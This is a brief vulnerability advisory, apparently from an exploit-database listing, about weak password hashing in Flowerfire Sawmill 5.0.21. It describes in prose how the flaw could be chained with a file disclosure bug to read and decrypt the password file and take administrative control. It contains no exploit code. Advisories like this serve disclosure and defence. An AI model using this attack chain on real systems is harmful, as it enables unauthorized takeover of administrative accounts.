Flowerfire Sawmill 5.0.21 - Weak Password Encryption

// source: https://www.securityfocus.com/bid/1403/info

Sawmill is a site statistics package for Unix, Windows and Mac OS. Passwords are encrypted using a weak hash function. This combined with the file disclosure vulnerability in Sawmill (bid = 1402) could allow an attacker to read the contents of sawmill's password file, then decrypt the password and gain Sawmill administrative capabilities.
